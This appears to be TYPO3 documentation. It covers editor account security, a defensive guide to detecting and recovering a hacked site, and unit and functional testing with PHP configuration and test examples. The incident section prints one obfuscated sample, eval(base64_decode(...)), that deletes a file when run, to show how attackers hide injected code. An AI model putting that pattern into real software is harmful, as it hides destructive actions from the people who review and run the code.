Due to the fact that editors do not change the configuration of the system, there are only a few things editors should be aware of. As a general rule, you should contact the person, team or agency who/which is responsible for the system (usually the provider of the TYPO3 instance, a TYPO3 integrator or system administrator) if you determine a system setup that does not match with the guidelines described here.

Backend access

Username

Generic usernames such as "editor", "webmaster", "cms" or similar are not recommended. Shared user accounts are not recommended either: every person should have its own login (e.g. as first name + dot + last name). The maximum number of backend user accounts is not artificially limited in TYPO3 and they should not add additional costs.

Password

Please read the chapter about secure passwords. If your current TYPO3 password does not match the rules explained above, change your password to a secure one as soon as possible. You should be able to change your password in the User settings menu, reachable by clicking on your user name in the top bar:

The User Settings screen, where you can change your password

Administrator privileges

If you are an editor for a TYPO3 website (and not a system administrator or integrator), you should ensure that you do not have administrator privileges. Some TYPO3 providers fear the effort to create a proper editor account, because it involves quite a number of additional configuration steps. If you, as an editor, should have an account with administrator privileges, it is often an indication of a misconfiguration.

As an indicator, if you see a Template entry under the Web Module menu or a section Admin Tools, you definitely have the wrong permissions as an editor and you should get in touch with the system provider to solve this issue.

Screenshot of a menu with the section "Admin Tools"

Notify at login

TYPO3 offers the feature to notify backend users by email, when somebody logs in from your account. If you set this option in your user settings, you will receive an email from TYPO3 each time you (or "someone") logs in using your login details. Receiving such a notification is an additional security measure because you will know if someone else picked up your password and uses your account.

The User Settings screen, with the Notify me... checkbox

Assuming you have activated this feature and you got a notification email but you have not logged in and you suspect that someone misuses your credentials, get in touch with the person or company who hosts and/or administrates the TYPO3 site immediately. You should discuss the situation and the next steps, possibly to change the password as soon as possible.

Lock to IP address(es)

Some TYPO3 instances are maintained by a selected group of editors who only work from a specific IP range or (in an ideal world) from one specific IP address only – an office network with a static public IP address is a typical example.

In this case, it is recommended to lock down user accounts to these/this address(es) only, which would block any login attempt from someone coming from an unauthorized IP address.

Implementing this additional login limitation is the responsibility of the person or company who hosts and/or administers the TYPO3 site. Discuss the options with them.

Restriction to required functions

Some people believe that having more access privileges in a system is better than having essential privileges only. This is not true from a security perspective due to several reasons. Every additional privilege introduces not only new risks to the system but also requires more responsibility as well as security awareness from the user.

In most cases editors should prefer having access to functions and parts of the website they really need to have and therefore you, as an editor, should insist on correct and restricted access permissions.

Similar to the explanations above: too extensive and unnecessary privileges are an indication of a badly configured system and sometimes a lack of professionalism of the system administrator, hosting provider or TYPO3 integrator.

Secure connection

You should always use the secure, encrypted connection between your computer and the TYPO3 backend. This is done by using the prefix https:// instead of http:// at the beginning of the website address (URL). Nowadays, both the TYPO3 backend and frontend should be always - and exclusively - accessible via https:// only and invalid certificates are no longer acceptable. Please clarify with the system administrator if no encrypted connection is available.

Under specific circumstances, a secure connection is technically possible but an invalid SSL certificate causes a warning message. In this case you may want to check the details of the certificate and let the hosting provider fix this.

Logout

When you finished your work as an editor in TYPO3, make sure to explicitly logout from the system. This is very important if you are sharing the computer with other people, such as colleagues, or if you use a public computer in a library, hotel lobby or internet café. As an additional security measure, you may want to clear the browser cache and cookies after you have logged out and close the browser software.

In the standard configuration of TYPO3 you will automatically be logged out after 8 hour of inactivity or when you access TYPO3 with a different IP address.

How to detect, analyze, and recover a hacked site

If your TYPO3 site has been hacked, simply restoring a backup is not enough. You must determine how the breach happened and take steps to prevent it from recurring.

This chapter provides a structured response plan, including detection, containment, investigation, and recovery. These actions help limit damage and improve future resilience.

Detect a hacked website

Typical signs which could indicate that a website or the server was hacked are listed below. Please note that these are common situations and examples only, others have been seen. Even if you are the victim of one of them only, it does not mean that the attacker has not gained more access or further damage (e.g. stolen user details) has been done.

Manipulated frontpage

One of the most obvious "hacks" are manipulated landing or home page or other pages. Someone who has compromised a system and just wants to be honored for his/her achievement, often replaces a page (typically the home page as it is usually the first entry point for most of the visitors) with other content, e.g. stating his/her nickname or similar.

Less obvious is manipulated page content that is only visible to specific IP addresses, browsers (or other user agents), at specific date times, etc. It depends on the nature and purpose of the hack but in this case usually an attacker tries either to target specific users or to palm keywords/content off on search engines (to manipulate a ranking for example). In addition, this might obscure the hack and makes it less obvious, because not everybody actually sees it. Therefore, it is not sufficient to just check the generated output because it is possible that the malicious code is not visible at a quick glance.

Malicious code in the HTML source

Malicious code (e.g. JavaScript, iframes, etc.) placed in the HTML source code (the code that the system sends to the clients) may lead to XSS attacks, display dubious content or redirect visitors to other websites. Latter could steal user data if the site which the user was redirected to convinces users to enter their access details (e.g. if it looks the same as or similar to your site).

See alse the explanations below Search engines warn about your site.

Embedded elements in the site's content

Unknown embedded elements (e.g. binary files) in the content of the website, which are offered to website visitors to download (and maybe execute), and do not come from you or your editors, are more than suspicious. A hacker possibly has placed harmful files (e.g. virus- infected software) on your site, hoping your visitors trust you and download/execute these files.

See also the explanations below Reports from visitors or users.

Unusual traffic increase or decrease

A significant unusual, unexpected increase of traffic may be an indication that the website was compromised and large files have been placed on the server, which are linked from forums or other sites to distribute illegal downloads. Increased traffic of outgoing mail could indicate that the system is used for sending "spam" mail.

The other extreme, a dramatic and sudden decrease of traffic, could also be a sign of a hacked website. In the case where search engines or browsers warn users that "this site may harm your computer", they stay away.

In a nutshell, it is recommended that you monitor your website and server traffic in general. Significant changes in this traffic behavior should definitely make you investigating the cause.

Reports from visitors or users

If visitors or users report that they get viruses from browsing through your site, or that their anti-virus software raises an alarm when accessing it, you should immediately check this incident. Keep in mind that under certain circumstances the manipulated content might not be visible to you if you just check the generated output - see explanations above.

Search engines or browsers warn about your site

Google, Yahoo and other search engines have implemented a warning system showing if a website content has been detected as containing harmful code and/or malicious software (so called "malware" that includes computer viruses, worms, trojan horses, spyware, dishonest adware, scareware, crimeware, rootkits, and other malicious and unwanted software).

One example for such a warning system is Google's "Safe Browsing Database". This database is also used by various browsers.

Leaked credentials

One of the "hacks" most difficult to detect is the case where a hacker gained access to a perfectly configured and secured TYPO3 site. In previous chapters we discussed how important it is to use secure passwords, not to use unencrypted connections, not to store backups (e.g. MySQL database "dumpfiles") in a publicly accessible directory, etc. All these examples could lead to the result that access details fall into the hands of an attacker, who possibly uses them, simply logs into your system and edits some pages as a usual editor.

Depending on how sophisticated, tricky, small and frequently the changes are and how large the TYPO3 system is (e.g. how many editors and pages are active), it may take a long time to realize that this is actually a hack and possibly takes much longer to find the cause, simply because there is no technical issue but maybe an organizational vulnerability.

The combination of some of the recommendations in this document reduces the risk (e.g. locking backend users to specific IP addresses, store your backup files outside the web server's document root, etc.).

Take the website offline

Assuming you have detected that your site has been hacked, you should take it offline for the duration of the analysis and restoration process (the explanations below). This can be done in various ways and it may be necessary to perform more than one of the following tasks:

  • route the domain(s) to a different server
  • deactivate the web host and show a "maintenance" note
  • disable the web server such as Apache (keep in mind that shutting down a web server on a system that serves virtual hosts will make all sites inaccessible)
  • disconnect the server from the Internet or block access from and to the server (firewall rules)

There are many reasons why it is important to take the whole site or server offline: In the case where the hacked site is used for distributing malicious software, a visitor who gets attacked by a virus from your site, will most likely lose the trust in your site and your services. A visitor who simply finds your site offline (or in "maintenance mode") for a while will (or at least might) come back later.

Another reason is that as long as the security vulnerability exists in your website or server, the system remains vulnerable, meaning that the attacker could continue harming the system, possibly causing more damage, while you're trying to repair it. Sometimes the "attacker" is an automated script or program, not a human.

After the website or server is not accessible from outside, you should consider to make a full backup of the server, including all available log files (Apache log, FTP log, SSH log, MySQL log, system log). This will preserve data for a detailed analysis of the attack and allows you (and/or maybe others) to investigate the system separated from the "live" environment.

Today, more and more servers are virtual machines, not physical hardware. This often makes creating a full backup of a virtual server very easy because system administrators or hosting providers can simply copy the image file.

Analyzing a hacked site

In most cases, attackers are adding malicious code to the files on your server. All files that have code injected need to be cleaned or restored from the original files. Sometimes it is obvious if an attacker manipulated a file and placed harmful code in it. The date and time of the last modification of the file could indicate that an unusual change has been made and the purpose of the new or changed code is clear.

In many cases, attackers insert code in files such as index.php or index.html that are found in the root of your website. Doing so, the attacker makes sure that his code will be executed every time the website is loaded. The code is often found at the beginning or end of the file. If you find such code, you may want to do a full search of the content of all files on your hard disk(s) for similar patterns.

However, attackers often try to obscure their actions or the malicious code. An example could look like the following line:

An example how attackers may hide malicious code
eval(base64_decode('dW5saW5rKCd0ZXN0LnBocCcpOw=='));
Copied!

Where the hieroglyphic string "dW5saW5rKCd0ZXN0LnBocCcpOw==" contains the PHP command unlink('test.php'); (base64 encoded), which deletes the file test.php when executed by the PHP function eval()`. This is a simple example only and more sophisticated obscurity strategies are imaginable.

Other scenarios also show that PHP or JavaScript Code has been injected in normal CSS files. In order that the code in those files will be executed on the server (rather than just being sent to the browser), modifications of the server configuration are made. This could be done through settings in an .htaccess file or in the configuration files (such as httpd.conf) of the server. Therefore these files need to be checked for modifications, too.

As described above, fixing these manipulated files is not sufficient. It is absolutely necessary that you learn which vulnerability the attacker exploited and to fix it. Check log files and other components on your system which could be affected, too.

If you have any proof or a reasonable ground for suspecting that TYPO3 or an extension could be the cause, and no security-bulletin lists this specific version, please contact the TYPO3 Security Team. The policy dictates not to disclose the issue in public (mailing lists, forums, Twitter or any other 3rd party website).

Repair/restore

When you know what the problem was and how the attacker gained access to your system, double check if there are no other security vulnerabilities. Then, you may want to either repair the infected/modified/deleted files or choose to make a full restore from a backup (you need to make sure that you are using a backup that has been made before the attack). Using a full restore from backup has the advantage, that the website is returned to a state where the data has been intact. Fixing only individual files bears the risk that some malicious code may be overlooked.

Again: it is not enough to fix the files or restore the website from a backup. You need to locate the entry point that the attacker has used to gain access to your system. If this is not found (and fixed!), it will be only a matter of time, until the website is hacked again.

So called "backdoors" are another important thing you should keep in mind: if an attacker had access to your site, it is possible and common practise that it implemented a way to gain unauthorized access to the system at a later time (again). Even if the original security vulnerability has been fixed (entry point secured), all passwords changed, etc., such a backdoor could be as simple as a new backend user account with an unsuspicious user name (and maybe administrator privileges) or a PHP file hidden somewhere deep in the file system, which contains some cryptic code to obscure its malicious purpose.

Assuming all "infected" files have been cleaned and the vulnerability has been fixed, make sure to take corrective actions to prevent further attacks. This could be a combination of software updates, changes in access rights, firewall settings, policies for log file analysis, the implementation of an intrusion detection system, etc. A system that has been compromised once should be carefully monitored in the following months for any signs of new attacks.

Further actions

Given the fact that the TYPO3 site is now working again, is clean and that the security hole has been identified and fixed, you can switch the website back online. However, there are some further things to do or to consider:

  • change (all) passwords and other access details
  • review situation: determine impact of the attack and degree of damage
  • possibly notify your hosting provider
  • possibly notify users (maybe clients), business partners, etc.
  • possibly take further legal steps (or ask for legal advice from professionals)

Depending on the nature of the hack, the consequences can be as minimal as a beautifully "decorated" home page or as extensive as stolen email addresses, passwords, names, addresses and credit card details of users. In most cases, you should definitely not trifle with your reputation and you should not conceal the fact that your site has been hacked.

Testing

In TYPO3, we're taking testing serious: When the Core Team releases a new TYPO3 version, they want to make sure it does not come with evil regressions (things that worked and stop working after update). This is especially true for patch level releases. There are various measures to ensure the system does not break: The patch review process is one, testing is another important part and there is more. With the high flexibility of the system it's hard to test "everything" manually, though. The TYPO3 Core thus has a long history of automatic testing - some important steps are outlined in a dedicated chapter below.

With the continued improvements in this area an own testing framework has been established over the years that is not only used by the TYPO3 Core, but can be used by extension developers or entire TYPO3 projects as well.

This chapter goes into details about automatic testing: Writing, maintaining and running them in various scopes. Have fun.

Extension testing

When developing TYPO3 extensions, testing can greatly improve the code quality.

In theory you can test your extension like any other PHP application and extensions. There are however some conventions that make contribution and collaboration easier. And there are some tools that should make your life maintaining an extension easier.

Which tools to use and which rules to apply is highly opinionated. However, having automatic tests is better than no automatic tests, no matter the strategy you follow.

The following test strategies should be applied to improve your code quality.

Linting

A linting test ensures that the syntax of the language used is correct.

In TYPO3 extensions the following languages are commonly linted:

  • PHP in the supported versions
  • TypoScript
  • YAML
  • JavaScript / TypeScript

Depending on your extension, any other file format can be linted too, if there is tooling for that (for example validating XML files against a XSD schema).

Coding guidelines (CGL)

If more than one person is working on code, coding guideline are a must-have. No matter which tool you use or which rules you choose to apply, it is important that the rules can be applied automatically.

Common tools to help with applying coding guidelines are PHP-CS-Fixer and PHP_CodeSniffer.

You can find more information in the Coding guidelines section.

Static code analysis

Static code analysis tools are highly recommended to be used with PHP. The most common tools used are PHPStan and Psalm. No matter the tool you use or the rules and levels you apply: You should use one.

There are also static code analysis tools for TypeScript and JavaScript.

Unit tests

Unit tests are executing the code to be tested and define input and their expected outcome. They are run on an isolated classes or methods. All relations and services such as database calls, API and curl call must be mocked. Not full instance setup is available. Therefore Dependency injection, the database, configurations and settings and everything done during Bootstrapping is not available.

See also Writing unit tests

Functional tests

Functional tests, like Unit tests, also execute the code to be tested. Functional test execute the test code within a fully composed TYPO3 instance (non-composer mode) with configured extensions and configuration, having full dependency and extension logic on board and Database backend available.

For this, the TYPO3 Testing Framework is highly recommended, and performs task like filling the database with test data (using fixtures) and activating specific Core or third party extensions (and yours). And, if needed, a backend or frontend user can be logged in.

A functional test will then test the output of a method or if a method changes certain other things like the database or the file system. It can also test more complex functionality of your extension that depends on the TYPO3 environment being present.

See also Writing functional tests

Acceptance tests

Acceptance testing in the TYPO3 world is about piloting (remote controlling) a browser to click through a frontend generated by TYPO3 or clicking through scenarios in the TYPO3 backend.

See also Writing acceptance tests

Organizing and storing the commands

There are different solutions to store and execute these commands as some are quite long. For details see Test Runners: Organize and execute tests.

Project testing

Differences between project and extension testing

Projects usually needs to support only one PHP version, Database vendor and version and TYPO3 core version

Version raises for upgrades are usually prepared on a branch and changed instead of parallel execution.

Project may have different places for tests

  • local path extension tests packages/*/Tests/*
  • global (root) tests Tests/*

The Core mono repository is basically a project setup, having local path extensions in typo3/sysexts/* instead of the more known and lived packages/* project folder structure.

Project structure

We assume a project structure similar to tf-basics-project here. If you are using another structure, you have to adjust some scripts.

  • .ddev
  • config
  • packages
  • composer.json
  • composer.lock

The composer.json looks like this:

Example project composer.json before testing
{
    "name": "sbuerk/tf-basics-project",
    "description": "TYPO3 Demo Project to demonstrate basic testing integration",
    "license": "GPL-2.0-or-later",
    "type": "project",
    "require": {
        "internal/custom-command": "@dev",
        "internal/custom-middleware": "@dev",
        "typo3/cms-core": "^13.4",
        "typo3/cms-[other_dependencies]": "^13.4"
    },
    "repositories": {
        "extensions": {
            "type": "path",
            "url": "packages/*"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "SBUERK\\TfBasicsProject\\Tests\\": "Tests/"
        }
    },
    "config": {
        "allow-plugins": {
            "typo3/class-alias-loader": true,
            "typo3/cms-composer-installers": true
        }
    }
}
Copied!

Install testing dependencies

As a bare minimum it is suggested to use

Depending on the complexity of your project you might need:

  • phpunit/phpunit , if there is any PHP code of a complexity that should be tested.
  • Testing of scss, TypeScript or JavaScript (not covered here)
  • Linting of YAML, XML, TypoScript (not covered here)
  • Writing acceptance tests

You can install all these tools as development dependencies. They will then not be installed on your production system when Composer is executed with option --no-dev during deployment:

Composer installation during deployment
composer install --no-dev
Copied!

For TYPO3 project you can use the package typo3/coding-standards which already requires friendsofphp/php-cs-fixer and a set of useful configuration and rules.

Require development dependencies
composer req --dev typo3/coding-standards
Copied!

If you want to do Unit or Functional tests on project level you also need the TYPO3 testing framework:

Require development dependencies
composer req --dev typo3/coding-standards typo3/testing-framework
Copied!

Test configuration on project level

We suggest to keep all project level test configuration in a common place that can be excluded from deployment. The Core uses a folder called Build with one folder per test-type and we will follow that scheme here. If you put the configuration in other directories, adjust your configuration files accordingly.

Code style tests and fixing

typo3/coding-standards comes with a predefined configuration for friendsofphp/php-cs-fixer . You can override rules as needed in your own configuration:

Build/php-cs-fixer/.php-cs-fixer.dist.php
<?php

$config = \TYPO3\CodingStandards\CsFixerConfig::create();
$baseDir = __DIR__ . '/../../';
$config->getFinder()
    ->in($baseDir . 'config')
    ->in($baseDir . 'packages/*/Classes')
    ->in($baseDir . 'packages/*/Configuration')
    ->in($baseDir . 'packages/*/Tests')
    ->in($baseDir . 'packages/*.php')
    ->in($baseDir . 'Tests')
    ->exclude('Fixtures')
;
return $config;
Copied!

It is recommended to also copy the .editorconfig from the testing framework into your main directory so that your IDE applies the same formatting as the php-cs-fixer.

PHPstan - Static PHP analysis

When configuring PHPstan the various places in which PHP files can be found should be taken into consideration:

Build/phpstan/phpstan.neon
includes:
  - phpstan-baseline.neon
parameters:
  level: 5

  paths:
    - ../../config
    - ../../packages
    - ../../Tests

  tmpDir: .cache/phpstan/

  excludePaths:
    - '**/node_modules/*'
    - '**/ext_emconf.php'
Copied!

It also makes sense to exclude the ext_emconf.php and any node_modules directory.

Unit and Functional test configuration

See the chapters Unit testing and Functional testing.

Running the tests locally

The tests can be run via PHP on your local machine or with DDEV.

Run the php-cs-fixer

To run the php-cs-fixer you need to configure the path to the configuration file:

vendor/bin/php-cs-fixer fix --config=Build/php-cs-fixer/.php-cs-fixer.dist.php
Copied!

Run PHPstan

vendor/bin/phpstan --configuration=Build/phpstan/phpstan.neon
Copied!

Regenerate the baseline:

vendor/bin/phpstan \
    --configuration=Build/phpstan/phpstan.neon \
    --generate-baseline=Build/phpstan/phpstan-baseline.neon
Copied!

Run Unit tests

As Unit tests need no database or other dependencies you can run them directly on your host system or DDEV:

vendor/bin/phpunit \
    -c Build/phpunit/UnitTests.xml
Copied!

Run Functional tests using sqlite and DDEV

ddev exec \
    typo3DatabaseDriver=pdo_sqlite \
    php vendor/bin/phpunit -c Build/phpunit/FunctionalTests.xml
Copied!

Run Functional tests using mysqli and DDEV

ddev exec \
    typo3DatabaseDriver='mysqli' \
    typo3DatabaseHost='db' \
    typo3DatabasePort=3306 \
    typo3DatabaseUsername='root' \
    typo3DatabasePassword='root' \
    typo3DatabaseName='func' \
    php vendor/bin/phpunit -c Build/phpunit/FunctionalTests.xml
Copied!

Organizing and storing the commands

There are different solutions to store and execute these command. For details see Test Runners: Organize and execute tests.

Unit testing with the TYPO3 testing framework

Unit test conventions

TYPO3 unit testing means using the phpunit testing framework. The TYPO3 testing framework comes with a basic UnitTests.xml file that can be used by Core and extensions. This references a phpunit bootstrap file so phpunit does find our main classes. Apart from that, there are little conventions: Tests for some "system under test" class in the Classes/ folder should be located at the same position within the Test/Unit folder having the additional suffix Test.php to the system under test file name. The class of the test file should extend the basic unit test abstract \TYPO3\TestingFramework\Core\Unit\UnitTestCase. Single tests should be named starting with the method that is tested plus some explaining suffix and should be annotated with @test.

Example for a system under test located at typo3/sysext/core/Utility/ArrayUtility.php (stripped):

typo3/sysext/core/Utility/ArrayUtility.php (stripped)
<?php

namespace TYPO3\CMS\Core\Utility;

class ArrayUtility
{
    public static function filterByValueRecursive(
        mixed $needle = '',
        array $haystack = [],
    ): array {
        $resultArray = [];
        // System under test code
        return $resultArray;
    }
}
Copied!

The test file is located at typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php (stripped):

typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php (stripped)
<?php

namespace TYPO3\CMS\Core\Tests\Unit\Utility;

use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use TYPO3\CMS\Core\Utility\ArrayUtility;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

final class ArrayUtilityTest extends UnitTestCase
{
    #[DataProvider('filterByValueRecursive')]
    #[Test]
    public function filterByValueRecursiveCorrectlyFiltersArray(
        $needle,
        $haystack,
        $expectedResult,
    ): void {
        self::assertEquals(
            $expectedResult,
            ArrayUtility::filterByValueRecursive($needle, $haystack),
        );
    }
}
Copied!

This way it is easy to find unit tests for any given file. Note PhpStorm understands this structure and can jump from a file to the according test file by hitting CTRL+Shift+T.

Extending UnitTestCase

Extending a unit test from class \TYPO3\TestingFramework\Core\Unit\UnitTestCase of the typo3/testing-framework package instead of the native phpunit class \PHPUnit\Framework\TestCase adds some functionality on top of phpunit:

  • Environment backup: If a unit test has to fiddle with the Environment class, setting property $backupEnvironment to true instructs the unit test to reset the state after each call.
  • If a system under test creates instances of classes implementing SingletonInterface, setting property $resetSingletonInstances to true instructs the unit test to reset internal GeneralUtility scope after each test. tearDown() will fail if there are dangling singletons, otherwise.
  • Adding files or directories to array property $testFilesToDelete instructs the test to delete certain files or entire directories that have been created by unit tests. This property is useful to keep the system clean.
  • A generic tearDown() method: That method is designed to test for TYPO3 specific global state changes and to let a unit test fail if it does not take care of these. For instance, if a unit tests add a singleton class to the system but does not declare that singletons should be flushed, the system will recognize this and let the according test fail. This is a great help for test developers to not run into side effects between unit tests. It is usually not needed to override this method, but if you do, call parent::tearDown() at the end of the inherited method to have the parent method kick in!
  • A getAccessibleMock() method: This method can be useful if a protected method of the system under test class needs to be accessed. It also allows to "mock-away" other methods, but keep the method that is tested. Note this method should not be used if just a full class dependency needs to be mocked. Use prophecy (see below) to do this instead. If you find yourself using that method, it's often a hint that something in the system under test is broken and should be modelled differently. So, don't use that blindly and consider extracting the system under test to a utility or a service. But yes, there are situations when getAccessibleMock() can be very helpful to get things done.

General hints

  • Creating an instance of the system under test should be done with new in the unit test and not using GeneralUtility::makeInstance().
  • Only use getAccessibleMock() if parts of the system under test class itself needs to be mocked. Never use it for an object that is created by the system under test itself.
  • Unit tests are by default configured to fail if a notice level PHP error is triggered. This has been used in the Core to slowly make the framework notice free. Extension authors may fall into a trap here: First, the unit test code itself, or the system under test may trigger notices. Developers should fix that. But it may happen a Core dependency triggers a notice that in turn lets the extensions unit test fail. At best, the extension developer pushes a patch to the Core to fix that notice. Another solution is to mock the dependency away, which may however not be desired or possible - especially with static dependencies.

A casual data provider

This is one of the most common use cases in unit testing: Some to-test method ("system under test") takes some argument and a unit tests feeds it with a series of input arguments to verify output is as expected. Data providers are used quite often for this and we encourage developers to do so, too. An example test from ArrayUtilityTest:

typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php (excerpts)
<?php

namespace TYPO3\CMS\Core\Tests\Unit\Utility;

use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use TYPO3\CMS\Core\Utility\ArrayUtility;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

class ArrayUtilityTest extends UnitTestCase
{
    /**
     * Data provider for filterByValueRecursiveCorrectlyFiltersArray
     *
     * Every array splits into:
     * - String value to search for
     * - Input array
     * - Expected result array
     */
    public static function filterByValueRecursive(): array
    {
        return [
            'empty search array' => [
                'banana',
                [],
                [],
            ],
            'empty string as needle' => [
                '',
                [
                    '',
                    'apple',
                ],
                [
                    '',
                ],
            ],
            'flat array searching for string' => [
                'banana',
                [
                    'apple',
                    'banana',
                ],
                [
                    1 => 'banana',
                ],
            ],
            // ...
        ];
    }

    /**
     * @param array $needle
     * @param array $haystack
     * @param array $expectedResult
     */
    #[DataProvider('filterByValueRecursive')]
    #[Test]
    public function filterByValueRecursiveCorrectlyFiltersArray(
        $needle,
        $haystack,
        $expectedResult,
    ): void {
        self::assertEquals(
            $expectedResult,
            ArrayUtility::filterByValueRecursive($needle, $haystack),
        );
    }
}
Copied!

Some hints on this: Try to give the single data sets good names, here "single value", "whole array" and "sub array". This helps to find a broken data set in the code, it forces the test writer to think about what they are feeding to the test and it helps avoiding duplicate sets. Additionally, put the data provider directly before the according test and name it "test name" + "DataProvider". Data providers are often not used in multiple tests, so that should almost always work.

Mocking

Unit tests should test one thing at a time, often one method only. If the system under test has dependencies like additional objects, they should be usually "mocked away". A simple example is this, taken from \TYPO3\CMS\Backend\Tests\Unit\Controller\FormInlineAjaxControllerTest:

typo3/sysext/backend/Tests/Unit/Controller/FormInlineAjaxControllerTest.php
<?php

namespace TYPO3\CMS\Core\Tests\Unit\Utility;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\CMS\Backend\Controller\FormInlineAjaxController;
use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

class FormInlineAjaxControllerTest extends UnitTestCase
{
    #[Test]
    public function getInlineExpandCollapseStateArraySwitchesToFallbackIfTheBackendUserDoesNotHaveAnUCInlineViewProperty(): void
    {
        $backendUser =
            $this->createMock(BackendUserAuthentication::class);

        $mockObject = $this->getAccessibleMock(
            FormInlineAjaxController::class,
            ['getBackendUserAuthentication'],
            [],
            '',
            false,
        );
        $mockObject->method('getBackendUserAuthentication')
            ->willReturn($backendUser);
        $result = $mockObject
            ->_call('getInlineExpandCollapseStateArray');

        self::assertEmpty($result);
    }
}
Copied!

The above case is pretty straight since the mocked dependency is hand over as argument to the system under test. If the system under test however creates an instance of the to-mock dependency on its own - typically using GeneralUtility::makeInstance(), the mock instance can be manually registered for makeInstance:

EXT:my_extension/Tests/Unit/SomeTest.php
<?php

namespace MyVendor\MyExtension\Tests\Unit;

use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

class SomeTest extends UnitTestCase
{
    public function testSomething(): void
    {
        $iconFactory =
            $this->createMock(IconFactory::class);
        GeneralUtility::addInstance(IconFactory::class, $iconFactory);
    }

    protected function tearDown(): void
    {
        GeneralUtility::purgeInstances();
        parent::tearDown();
    }
}
Copied!

This works well for prototypes. addInstance() adds objects to a LiFo, multiple instances of the same class can be stacked. The generic ->tearDown() later confirms the stack is empty to avoid side effects on other tests. Singleton instances can be registered in a similar way:

typo3/sysext/backend/Tests/Unit/Form/FormDataProvider/TcaFlexPrepareTest.php
<?php

namespace TYPO3\CMS\Backend\Tests\Unit\Form\FormDataProvider;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\CMS\Core\Cache\CacheManager;
use TYPO3\CMS\Core\Cache\Frontend\FrontendInterface;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

final class TcaFlexPrepareTest extends UnitTestCase
{
    protected bool $resetSingletonInstances = true;
    protected function setUp(): void
    {
        parent::setUp();
        // Suppress cache foo in xml helpers of GeneralUtility
        $cacheManagerMock =
            $this->createMock(CacheManager::class);
        GeneralUtility::setSingletonInstance(
            CacheManager::class,
            $cacheManagerMock,
        );
        $cacheFrontendMock =
            $this->createMock(FrontendInterface::class);
        $cacheManagerMock
            ->method('getCache')
            ->with(self::anything())
            ->willReturn($cacheFrontendMock);
    }

    #[Test]
    public function addDataKeepsExistingDataStructure(): void
    {
        // Test something
    }
}
Copied!

If adding singletons, make sure to set the property protected $resetSingletonInstances = true;, otherwise ->tearDown() will detect a dangling singleton and let's the unit test fail to avoid side effects on other tests.

Static dependencies

If a system under test has a dependency to a static method (typically from a utility class), then hopefully the static method is a "good" dependency that sticks to the general static method guide: A "good" static dependency has no state, triggers no further code that has state. If this is the case, think of this dependency code as being inlined within the system under test directly. Do not try to mock it away, just test it along with the system under test.

If however the static method that is called is a "bad" dependency that statically calls further magic by creating new objects, doing database calls and has own state, this is harder to come by. One solution is to extract the static method call to an own method, then use getAccessibleMock() to mock that method away. And yeah, that is ugly. Unit tests can quite quickly show which parts of the framework are not modelled in a good way. A typical case is \TYPO3\CMS\Backend\Utility\BackendUtility - trying to unit test systems that have this class as dependency is often very painful. There is not much developers can do in this case. The Core tries to slowly improve these areas over time and indeed BackendUtility is shrinking each version.

Exception handling

Code should throw exceptions if something goes wrong. See working with exceptions for some general guides on proper exception handling. Exceptions are often very easy to unit test and testing them can be beneficial. Let's take a simple example, this is from \TYPO3\CMS\Core\Tests\Unit\Cache\CacheManagerTest and tests both the exception class and the exception code:

typo3/sysext/backend/Tests/Unit/Form/FormDataGroup/OnTheFlyTest.php
<?php

namespace TYPO3\CMS\Backend\Tests\Unit\Form\FormDataGroup;

use PHPUnit\Framework\Attributes\Test;
use TYPO3\CMS\Backend\Form\FormDataGroup\OnTheFly;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;

final class OnTheFlyTest extends UnitTestCase
{
    protected OnTheFly $subject;

    protected function setUp(): void
    {
        parent::setUp();
        $this->subject = new OnTheFly();
    }

    #[Test]
    public function compileThrowsExceptionWithEmptyOnTheFlyList(): void
    {
        $this->expectException(\UnexpectedValueException::class);
        $this->expectExceptionCode(1441108674);
        $this->subject->compile([]);
    }
}
Copied!

Introduction to unit tests

This chapter goes into details about writing and maintaining unit tests in the TYPO3 world. Core developers over the years gained quite some knowledge and experience on this topic, this section outlines some best practices and goes into details about some of the TYPO3 specific unit testing details that have been put on top of the native phpunit stack: At the time of this writing the TYPO3 Core contains about ten thousand unit tests - many of them are good, some are bad and we're constantly improving details. Unit testing is a great playground for interested contributors, and most extension developers probably learn something useful from reading this section, too.

Note this chapter is not a full "How to write unit tests" documentation: It contains some examples, but mostly goes into details of the additions typo3/testing-framework puts on top.

Furthermore, this documentation is a general guide. There can be reasons to violate them. These are no hard rules to always follow.

When to unit test

It depends on the code you're writing if unit testing that specific code is useful or not. There are certain areas that scream to be unit tested: You're writing a method that does some PHP array munging or sorting, juggling keys and values around? Unit test this! You're writing something that involves date calculations? No way to get that right without unit testing! You're throwing a regex at some string? The unit test data provider should already exist before you start with implementing the method!

In general, whenever a rather small piece of code does some dedicated munging on a rather small set of data, unit testing this isolated piece is helpful. It's a healthy developer attitude to assume any written code is broken. Isolating that code and throwing unit tests at it will proof its broken. Promised. Add edge cases to your unit test data provider, feed it with whatever you can think of and continue doing that until your code survives all that. Depending on your use case, develop test-driven: Test first, fail, fix, refactor, next iteration.

Good to-be-unit-tested code does usually not contain much state, sometimes it's static. Services or utilities are often good targets for unit testing, sometimes some detail method of a class that has not been extracted to an own class, too.

When not to unit test

Simply put: Do not unit test "glue code". There are persons proclaiming "100% unit test coverage". This does not make sense. As an extension developer working on top of framework functionality, it usually does not make sense to unit test glue code. What is glue code? Well, code that fetches things from one underlying part and feeds it to some other part: Code that "glues" framework functionality together.

